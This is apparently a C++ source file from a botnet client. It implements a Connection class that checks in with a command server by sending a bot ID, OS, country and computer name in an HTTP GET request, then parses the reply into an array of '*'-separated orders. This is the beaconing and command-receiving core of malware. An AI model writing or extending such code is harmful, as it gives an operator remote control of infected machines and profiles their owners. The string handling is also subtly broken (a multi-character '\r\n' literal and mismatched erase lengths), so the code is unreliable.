#include "connection.h"
#include "config.h"
#include "util.h"
#include <string>


Connection::Connection()
{
	order = NULL;
}


string Connection::Refresh(string BotID, string OS, string Country, string PCName)
{

	string url, request, buffer;

	// Building HTTP Request
	url = "?hwid=" + BotID + "&ver=" + VERSION + "&os=" + OS + "&from=" + Country + "&name=" + PCName;
	request += "GET " + DIR + url + " HTTP/1.1\r\n";
	request += "Host: " + HOST + "\r\n";
	request += "User-Agent: " + USERAGENT + "\r\n";
	request += "\r\n"; // Do not forget the closing line break!

	ClientSocket Sock("127.0.0.1", "80");
	Sock << request;
	Sock >> buffer;

	// Cut off HTTP Header
	int position = buffer.find("\r\n\r\n");
	if(position != buffer.npos)
		buffer = buffer.substr(position+4, buffer.npos);
	
	// removes possible line-breaks
	while(buffer.find('\r\n') != buffer.npos ) 
	{
		buffer.erase(buffer.find('\r\n'), 4);
	}
	while(buffer.find('\n') != buffer.npos)
	{
		buffer.erase(buffer.find('\n'), 2);
	}

	order = util::SplitString(buffer, "*", &length);
	return buffer;
}


string Connection::GetParam(int Number)
{
	if(Number > length)
		return "";
	else
		return order[Number];
}

